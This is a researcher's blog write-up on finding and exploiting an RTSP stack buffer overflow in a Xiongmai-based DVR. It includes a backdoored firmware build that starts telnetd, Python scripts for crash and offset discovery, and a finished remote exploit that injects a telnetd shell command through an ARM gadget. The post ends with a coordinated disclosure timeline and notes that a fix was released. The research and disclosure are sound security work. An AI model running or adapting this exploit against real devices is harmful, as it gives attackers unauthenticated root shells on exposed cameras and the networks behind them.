As part of my work at FortNet I’ve had the chance to research some embedded devices. This provided a good chance to learn more about the ARM architecture and the differences between ARM and x86 exploitation.
Often, IoT is overlooked in threat assessments due to most consumer devices acting as black boxes with closed source code. Threat actors have and will continue to use exploits in embedded devices for initial access to networks. For example, the 2015 breach of Hacking Team by Phineas Fisher involved a simple shellshock exploit against their SonicWall applicance.
Choosing a target
To even start my research, I needed physical access to a widely used embedded device. The candidate was a cheap “Hiseeu” DVR off Aliexpress which would ship with generic firmware. You can get a sense of how many devices are impacted when looking at the list of vendors rebranding Xiongmai.
After a month or so of waiting, I received the DVR and got to work. While the firmware is easily available online, to exploit any memory corruption vulnerabilities I would need to attach a debugger such as gdb with gdbserver.
Research on these devices back in 2017 is available on Github. I was hoping for easy access via telnet or the 9527 backdoor port mentioned within. In my better judgement I decided not to give the device access to my network. Using an ethernet cable between a laptop and the DVR directly allowed me to view the web interface.
With network access, I decided to do a port scan to see any open ports that could be useful. I was out of luck and both the telnet and backdoor ports were closed.
Opening the casing and looking at the circuit board revealed a labelled serial connector with GND, TX, RX. Connecting to this at the default baud rate of 115200bps gave me access to the U-Boot console. However, no amount of changing bootargs to mess with the init, tty or single-user mode would give me a shell.
At the risk of breaking the DVR and turning it into a paperweight, my last idea was to create a backdoored firmware.
root@thinkpad:/home/chris/Downloads/xiongmai# file C638023A.bin C638023A.bin: Zip archive data, at least v2.0 to extract root@thinkpad:/home/chris/Downloads/xiongmai# mv C638023A.bin fw.zip root@thinkpad:/home/chris/Downloads/xiongmai# unzip fw.zip Archive: fw.zip inflating: web-x.cramfs.img inflating: custom-x.cramfs.img inflating: user-x.cramfs.img inflating: uImage.img inflating: romfs-x.cramfs.img inflating: logo-x.cramfs.img inflating: u-boot.bin.img inflating: InstallDesc
Using firmware mod kit with the extract_firmware.sh script, the main filesystem was extracted. To try and get a shell /etc/init.d/rcS was modified so telnetd starts on each boot.
The modified romfs is rebuilt using build_firmware.sh and can be zipped up with the other components to create a full firmware image.
# cp firmware-mod-kit/fmk/new-firmware.bin romfs-x.cramfs.img # rm -rf firmware-mod-kit/ # zip -r backdoored.bin *
After installing a Windows VM and disabling some security controls in Internet Explorer - I was able to use the interface and upgrade.
Since there are no checks to verify if a firmware upgrade is legitimate, it completed successfully and I can move onto finding an exploit. Lack of firmware integrity checks on these devices is a known issue exploited in the wild since 2019.
# telnet 192.168.1.10 4444 Trying 192.168.1.10... Connected to 192.168.1.10. Escape character is '^]'. ~ #
A couple minutes into network fuzzing, I was able to find a promising crash within the RTSP server. Looking for the PID listening on 554, I can see that /var/Sofia is responsible for handling the service. This binary is responsible for most functions on the device, such as the web server (80), RTSP (554) and DVRIP (34567).
The request that caused the crash looked like this:
OPTIONS rtsp://127.0.0.1/media.mp4 RTSP/1.0 CSeq: AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA...(3000 A's)...
To understand what was happening, I opened the Sofia binary in Ghidra. It was likely due to an unsafe strcpy or strncpy since the buffer stopped being copied on a NULL byte (\x00). The binary is stripped and quite large, so it took a bit of trial and error with breakpoints until I identified the problem.
I’ve renamed some variables to make it easier to read.
A fixed buffer of size 2048 bytes is allocated and the RTSP request data is checked to make sure it has a value.
The RTSP request is checked to see if it contains two carriage returns. The length of the request is stored in payloadLen.
Finally, strncpy moves (payloadLen) bytes of (payloadData) into the fixed 2048 buffer. This allows for a buffer overflow if the request is over 2048 bytes.
Full ASLR is enabled which means the position of the stack, VDSO and shared memory regions will be randomized. However, using checksec we can see that the binary has not been compiled as a position-independent executable (no PIE).
Escape character is '^]'. ~ # cat /proc/sys/kernel/randomize_va_space 2
root@thinkpad:/home/chris# checksec --file=Sofia RELRO STACK CANARY NX PIE RPATH RUNPATH Symbols FORTIFY Fortified Fortifiable FILE No RELRO No canary found NX enabled No PIE No RPATH No RUNPATH No Symbols No 0 23 Sofia
To verify that the PC register can be controlled, we can attach gdb and send the payload with a simple python program.
import socket filler = b"A" * 3000 payload = b"OPTIONS rtsp://127.0.0.1/media.mp4 RTSP/1.0\r\nCSeq: %s\r\n\r\n" % filler sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(6) sock.connect(("192.168.1.10", 554)) sock.send(payload)
When sent, there is a nice crash showing the PC filled with A’s. The program counter (PC) can be compared to the EIP register on x86. Control over it means we can jump to functions or shellcode to try and exploit the bug.
*Technically, we are overwriting the frame pointer (FP) and then the link register (LR) after. This is important because the link register contains the return address. If we can overwrite the LR then PC will be controlled once the function tries to return. Returning from a function is usually done with pop to restore saved registers from the stack.
To find the exact point where it’s overwritten, a random string is written instead of A’s.
import socket, string, random def randomword(length): letters = string.ascii_uppercase return ''.join(random.choice(letters) for i in range(length)) filler = bytes(randomword(3000), 'utf-8') print(filler) payload = b"OPTIONS rtsp://127.0.0.1/media.mp4 RTSP/1.0\r\nCSeq: %s\r\n\r\n" % filler sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(6) sock.connect(("192.168.1.10", 554)) sock.send(payload)
The register is overwritten with the characters backwards due to little-endianess.
Looking for the string “MMGS” in the text tells me 2009 bytes of padding is required and the next four bytes will be the value of PC.
Now where do we return to?
The research in 2017 abused an LFI in the uc-httpd webserver to bypass ASLR. This has been patched and my DVR firmware version isn’t vulnerable. I need to take advantage of the non-PIE compiled binary to exploit this bug. In simple terms, this means the binary itself executes from the same addresses. For example, the system function at 0x011ef4 will stay at 0x011ef4 while the system function from libc at 0xb6f12444 will change each time the program is run.
A pointer to our RTSP request is stored in the R9 register. To execute a command with the system() function, it must be null terminated and in the R0 register. If we can move this address into R0 and call system, any command could be executed.
To do this, I’ll find a “gadget” which will do what we want. In this case, we want R9 to be moved into R0 and then the address of system placed in PC. In ARM the first part would be “mov r0, r9”.
The Sofia binary is large enough to provide almost any gadget I could want. If this wasn’t the case, a chain of gadgets using either ROP (return oriented programming) or JOP (jump oriented programming) would be needed.
Objdump and grep worked here, though tools such as Ropper exist if you’re not so lucky.
The perfect gadget is available at 0x35c1b8. It simply moves R9 to R0 and calls system. This is enough to completely bypass ASLR.
This is how a finished exploit looks for my firmware version. Some things to keep in mind:
- Addresses must be written backwards due to little-endianess.
- If your firmware is not the same version as mine (V4.03.R11.C638023A) the exploit below probably won’t work. A new gadget address must be found for each version (potentially the amount of filler bytes as well).
import socket command = b";telnetd -p1234 -l/bin/sh;#" # Execute command, ignore junk before/after filler = command # Start CSeq with command filler += b"A" * (2009 - len(command)) # Fill 2009 bytes in total filler += b"\xb8\xc1\x35\x00" # Gadget (mov r0,r9 bl system) payload = b"OPTIONS rtsp://127.0.0.1/media.mp4 RTSP/1.0\r\nCSeq: %s\r\n\r\n" % filler sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(6) sock.connect(("192.168.1.10", 554)) sock.send(payload) print("Exploit sent.")
Here’s how it looks in action :)
This was a lot of fun and a great learning experience, despite it being a very simple exploit. Just by looking at Shodan, a large number of potentially vulnerable devices are exposed. Make sure no un-patched devices on your network are unintentionally exposed to the internet.
I contacted Xiongmai’s security team and they have quickly rolled out fixes for affected devices. The updated firmware can be downloaded here and installed via the web interface. Xiongmai’s response time was very impressive considering the reputation many Chinese vendors have.
- 27/01/2022 - Attempted contact
- 09/02/2022 - Provided more detailed information
- 22/02/2022 - Fixed firmware is available for all vulnerable models
Massive thanks to Azeria Labs and Attify for their great learning materials; I’m still new to ARM exploitation, so I may have been incorrect at points during this post. In the future I hope to challenge myself with research into embedded security appliances (VPNs, gateways etc.)